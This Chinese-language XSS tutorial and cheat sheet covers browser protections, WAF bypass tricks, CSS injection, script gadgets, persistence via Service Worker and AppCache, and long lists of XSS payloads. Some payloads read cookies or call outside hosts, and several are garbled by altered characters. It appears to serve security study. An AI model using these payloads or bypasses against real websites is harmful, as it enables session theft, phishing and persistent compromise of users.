一篇 带你了解 XSS——(下篇)
-
7. XSS保护
-
7.1. HTML过滤
- 使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
-
7.2. X-Frame
- X-Frame-Options 响应头有三个可选的值:
- DENY
- 页面不能被嵌入到任何iframe或frame中
- SAMEORIGIN
- 页面只能被本站页面嵌入到iframe或者frame中
- ALLOW-FROM
- 页面允许frame或frame加载
- DENY
-
7.3. XSS保护头
- 基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
- 而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
- 要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
- 0 : 表示关闭浏览器的XSS防护机制
- 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
- 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码
- FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
-
-
8. WAF Bypass
-
利用<>标记
-
利用html属性
- href
- lowsrc
- bgsound
- background
- value
- action
- dynsrc
-
关键字
- 利用回车拆分
- 字符串拼接
- window["al" + "ert"]
-
利用编码绕过
- base64
- jsfuck
- String.fromCharCode
- HTML
- URL
- hex
- window["\x61\x6c\x65\x72\x74"]
- unicode
- utf7
- +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
- utf16
-
大小写混淆
-
对标签属性值转码
-
产生事件
-
css跨站解析
-
长度限制bypass
- eval(name)
- eval(hash)
- import
- $.getScript
- $.get
- .
- 使用 。 绕过IP/域名
- document['cookie'] 绕过属性取值
-
过滤引号用 `` ` `` 绕过
-
-
9. 技巧
-
9.1. httponly
- 在cookie为httponly的情况下,可以通过xss直接在源站完成操作,不直接获取cookie。
- 在有登录操作的情况下,部分站点直接发送登录请求可能会带有cookie
- 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
- 低版本浏览器支持 TRACE / TRACK,可获取敏感的header字段
- phpinfo 等页面可能会回显信息,这些信息中包含http头
- 通过xss劫持页面钓鱼
- 通过xss伪造oauth等授权请求,远程登录
-
9.2. CSS 注入
-
9.2.1. 基本介绍
- CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
-
9.2.2. CSS selectors
- 上图是利用CSS selectors完成攻击的一个示例
-
-
9.2.3. Abusing Unicode Range
- 当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
- 当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容
-
-
9.3. Bypass Via Script Gadgets
-
9.3.1. 简介
- 一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。
- portswigger的一篇博文也表达了类似的想法 Abusing JavaScript frameworks to bypass XSS mitigations | PortSwigger Research。
- 下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
-
9.3.2. 例子
-
-
-
9.4. RPO(Relative Path Overwrite)
- RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
-
- ============================================================
-
10. Payload
-
10.1 常用
- <script>alert(/xss/)</script>
- <svg οnlοad=alert(document.domain)>
- <img src=document.domain οnerrοr=alert(document.domain)>
- <M οnmοuseοver=alert(document.domain)>M
- <marquee οnscrοll=alert(document.domain)>
- <a href=javascript:alert(document.domain)>M</a>
- <body οnlοad=alert(document.domain)>
- <details open οntοggle=alert(document.domain)>
- <embed src=javascript:alert(document.domain)>
-
10.2 大小写绕过
- <script>alert(1)</script>
- <sCrIpT>alert(1)</sCrIpT>
- <ScRiPt>alert(1)</ScRiPt>
- <sCrIpT>alert(1)</ScRiPt>
- <ScRiPt>alert(1)</sCrIpT>
- <img src=1 οnerrοr=alert(1)>
- <iMg src=1 oNeRrOr=alert(1)>
- <ImG src=1 OnErRoR=alert(1)>
- <img src=1 οnerrοr="alert("M")">
- <marquee οnscrοll=alert(1)>
- <mArQuEe OnScRoLl=alert(1)>
- <MaRqUeE oNsCrOlL=alert(1)>
-
10.3 各种alert
- <script>alert(1)</script>
- <script>confirm(1)</script>
- <script>prompt(1)</script>
- <script>alert('1')</script>
- <script>alert("1")</script>
- <script>alert 1 </script>
- <script>(alert)(1)</script>
- <script>a=alert,a(1)</script>
- <script>[1].find(alert)</script>
- <script>top"al"+"ert"</script>
- <script>top"a"+"l"+"e"+"r"+"t"</script>
- <script>top/al/.source+/ert/.source</script>
- <script>top/a/.source+/l/.source+/e/.source+/r/.source+/t/.source</script>
-
10.4 伪协议
- <a href=javascript:/0/,alert(%22M%22)>M</a>
- <a href=javascript:/00/,alert(%22M%22)>M</a>
- <a href=javascript:/000/,alert(%22M%22)>M</a>
- <a href=javascript:/M/,alert(%22M%22)>M</a>
-
10.5 Chrome XSS auditor
- ?param=https://¶m=@z.exeye.io/import%20rel=import%3E
- <base href=javascript:/M/><a href=,alert(1)>M</a>
- <base href=javascript:/M/><iframe src=,alert(1)></iframe>
-
10.6 长度限制
-
10.7 jquery sourceMappingURL
- </textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
-
10.8 图片名
- "><img src=x οnerrοr=alert(document.cookie)>.gif
-
10.9 过期的payload
- src=javascript:alert基本不可以用
- css expression特性只在旧版本ie可用
-
10.10 css
-
10.11 markdown
-
10.12 iframe
-
- <iframe src=javascript:alert(1)></iframe>
- <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
- <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
- <iframe srcdoc=<svg/onload=alert(1)>></iframe>
- <iframe src=https://baidu.com width=1366 height=768></iframe>
- <iframe src=javascript:alert(1) width=1366 height=768></iframe
-
10.13 form
- <form action=javascript:alert(1)><input type=submit>
- <form><button formaction=javascript:alert(1)>M
- <form><input formaction=javascript:alert(1) type=submit value=M>
- <form><input formaction=javascript:alert(1) type=image value=M>
- <form><input formaction=javascript:alert(1) type=image src=1>
-
10.14 meta
- <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
-
- =======================================
-
11. 持久化
-
11.1. 基于存储
- 有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
- 在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
-
11.2. Service Worker
- Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
- 在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
-
11.3. AppCache
- 在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
-
- ===============================================================
-
12.参考链接
-
12.1. wiki
- AwesomeXSS
- w3c
- dom xss wiki
- content-security-policy.com
- markdwon xss
- xss cheat sheet
- html5 security cheatsheet
- http security headers
- XSSChallengeWiki
-
12.2. Challenges
- XSS Challenge By Google
- prompt to win
-
12.3. CSS
- rpo
- rpo攻击初探
- Reading Data via CSS
- css based attack abusing unicode range
- css injection
- css timing attack
-
12.4. 同源策略
- Same origin policy
- cors security guide
- logically bypassing browser security boundaries
-
12.5. bypass
- 666 lines of xss payload
- xss auditor bypass
- xss auditor bypass writeup
- bypassing csp using polyglot jpegs
- bypass xss filters using javascript global variables
-
12.6. 持久化
- 变种XSS 持久控制 by tig3r
- Using Appcache and ServiceWorker for Evil
-
12.7. Tricks
- Service Worker 安全探索
- 前端黑魔法
-
- =====================================================